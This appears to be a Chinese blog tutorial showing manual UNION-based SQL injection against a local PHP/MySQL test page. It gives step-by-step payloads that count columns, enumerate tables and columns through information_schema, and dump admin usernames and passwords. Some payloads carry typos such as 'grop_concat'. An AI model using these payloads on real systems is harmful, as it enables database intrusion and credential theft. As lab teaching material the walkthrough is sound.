当mysql版本>5.0时我们只需要访问information_schema库即可查询数据库的相关概要信息,
而对于<5.0的版本则需要爆破,今天我们测试的环境是mysql 5.5.40,对于小于5.0的mysql不建议手工测试,
可以使用slqmap等注入工具辅助,成功率在于字典的大小。

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。
其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权 限等。

测试环境:id并没有进行任何过滤处理从而造成典型的GET数字型注入
1.验证注入:
and 1=1
url:http://127.0.0.1/test.php?id=9 and 1=1
sql语句:SELECT * FROM article WHERE id='9 and 1=1'
返回正常

and 1=2
url:http://127.0.0.1/test.php?id=9 and 1=2
sql语句:SELECT * FROM article WHERE id='9 and 1=2'
出错

2.判断字段数:

2.1order by查询

url:http://127.0.0.1/test.php?id=9 order by 1,2,3,4
sql语句:SELECT * FROM article WHERE id = 90 order by 1,2,3,4

order by查询:order by在sql语句中是对结果集的指定列进行排序,
比如我们想让结果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次类推,
按照这个原理我们来判断他的字段数,如果我们按照他的第1列进行排序数据库会返回正常,
但是当我们按照第100列排序,但是数据库中并不存在第100列,从而报错。
如:当我们测试到7时数据库报错,说明该表只有6个字段

2.2UNION SELECT 联合查询

url:http://127.0.0.1/test.php?id=9 union select null,null,null,null
sql语句:SELECT * FROM article WHERE id = 90 union select null,null,null,null

UNION SELECT 联合查询:可以用于一个或多个SELECT的结果集,但是他有一个条件,
就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,
也就是说当我们union select的列与它查询的列相同时,页面返回正常。
如:当字段为6个时页面返回正常,而大于或小于字段数时都会报错。

解决两个小问题:
问题一:大部分程序只会调用数据库查询的第一条返回(我们这个也是),而通过联合查询出的数据中,
我们想看到的数据是在第二条中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,
第二种是通过sql语句直接返回我们想要的数据。

方法一:我们让第一个查询的结果始终为假

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null
sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

结果:返回为什么什么也没有呢 因为我们的第二个查询中并没有查询到什么 返回为NULL 自然就什么也没有了
我们把语句放在mysql中看一下返回结果:

方法二:通过limit语句,limit在mysql中是用来分页的,我们也可以通过他拿到我们想要的结果集

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1
sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1
返回也是空,同上面结果一样

问题二:哪个列中的数据是在页面中显示出来的,可能有一些列中的数据只是用于后台程序对数据处理使用,
并不会在前台显示,所以我们需要判断哪个字段我们可以看到。如图,我们通过数字代替了NULL进行查询,
确定了2,3,4,5 四个字段可以在页面中显示。
回答一下为什么我们不一开始就是用数字,因为union select 不仅要求列的数量相同,同时数据类型也要相似。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查询库名:

这里我们直接使用mysql自带函数database()查询 得到库名:test
url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

结果:显示出test

4.查表名:

这里就用到了我们一开始说的information_schema库,查表名我们主要用到的是TABLES表。
这里我们用到了group_concat它可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据。
这里我们的目标是admin表。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

结果:显示出所有表名,第一个为admin

5.查字段:
这里同样使用information_schema库,这里使用的是columns表。得到字段id,username,password

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

结果:id,username,password

6.查数据:
最终目标就出来啦!

url:url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
sql:sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
结果就出来了

转载于:https://www.cnblogs.com/christychang/p/6071340.html

php+mysql 注入基本过程相关推荐

  1. jsp mysql 注入_由Jsp+Mysql注入到root权限的全程展 【好久没有安全类文章了,转一篇看看】...

    由Jsp+Mysql注入到root权限的全程展 最近有点空闲,所以写点垃圾文章来消磨一下时间.文中没有什么技术含量,如果要转载,请注明作者并保持文章的完整. 很多人可能都知道asp,php的编程要防止 ...

  2. mysql注入如何读取本地文件_如何通过SQL注入获取服务器本地文件

    写在前面的话 SQL注入可以称得上是最臭名昭著的安全漏洞了,而SQL注入漏洞也已经给整个网络世界造成了巨大的破坏.针对SQL漏洞,研究人员也已经开发出了多种不同的利用技术来实施攻击,包括非法访问存储在 ...

  3. mysql注入天书(一)Basic Challenges

    [独家连载]mysql注入天书(一)Basic Challenges lcamry / 2016-11-11 06:16:00 / 浏览数 19798 <span class="con ...

  4. mysql注入之盲注语句汇总

    目录 mysql注入之盲注 常用语句汇总 基于bool盲注 查询当前数据库 基于时间的盲注 盲注常用函数: regexp正则注入 like匹配注入 特殊的盲注之报错注入 mysql注入之盲注 什么是盲 ...

  5. 史上最完整的MySQL注入 1

    作者:Passerby2 原文来自:史上最完整的MySQL注入 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇 ...

  6. Mysql注入读写文件

    Mysql注入读写文件 1.Mysql注入读文件 MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够). 读取前提: 1.用户权限 ...

  7. Mysql注入bypass攻略

    0x00前言 将最近研究的mysql注入bypass内容和自己的思考做些整理,在分析的基础上,实战bypass国内两款软件型WAF,前半部分内容虽然很基础,但希望大家能够很熟悉这些知识,基础面越广,后 ...

  8. MySQL注入 绕过去除注释符

    MySQL注入 绕过去除注释符 1.MySQL中的注释符 注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用,但是注释掉的内容不会被执行. MySQL中的注释符: 1.单行注释:--+或- ...

  9. MySQL 注入详解及其解决方法

    MySQL 注入 今天刚刚看到MySQL注入 首先,先来了解一下,SQL注入到底是什么 解决办法 今天刚刚看到MySQL注入 首先,先来了解一下,SQL注入到底是什么 在网上可以收到很多关于SQL注入 ...

最新文章

  1. maven 下载 源码和javadoc命令
  2. 磁盘IO:缓存IO、直接IO、内存映射
  3. FreeSWITCH异常原因总结
  4. 分布式系统开发——调度技术
  5. C C++编程产生指定范围内的随机数
  6. jvm一个线程的成本
  7. UITabBarController 基本用法
  8. IDC:第一季度全球服务器市场收入下滑4.6% 市场为重大升级做准备
  9. 【渝粤教育】 国家开放大学2020年春季 2245社会福利与保障 参考试题
  10. “约见”面试官系列之常见面试题之第八十五篇之css响应式(建议收藏)
  11. YII2 实现后台操作记录日志
  12. ORA-00972: identifier is too long问题解决
  13. 华为什么手机用的鸿蒙系统,华为2020年全线启用鸿蒙系统,手机、平板依然Android优先...
  14. 7-57 愿天下有情人都是失散多年的兄妹 (25 分)(深搜)
  15. 不同操作系统上屏蔽oracle的操作系统认证方式
  16. matlab中solver函数_Matlab中solve函数用法详解
  17. 突变瀑布图及亚型突变瀑布
  18. 你不能做宅男,因为你穷
  19. 电脑软件能截图无法发送(钉钉截图无法发送,微信能截图但是发送带虚线obj的文件,看不了照片)
  20. 雨雨cms-YYCMS5.0新版影视网源码自动采集数据-玥雅CMS

热门文章

  1. CTFshow 文件上传 web157
  2. CTFshow 命令执行 web39
  3. lightoj-1028 Trailing Zeroes (I)
  4. sdut 2088 数据结构实验之栈与队列十一:refresh的停车场
  5. 2.5 matlab稀疏矩阵
  6. webchart= php 解码,Web Pages - Chart 帮助器
  7. 2.1.5 梯度检验
  8. 利用GPU训练网络时遇到的一些问题
  9. SaltStack 安装及配置认证
  10. gnuradio 使用eclipse 编辑器记录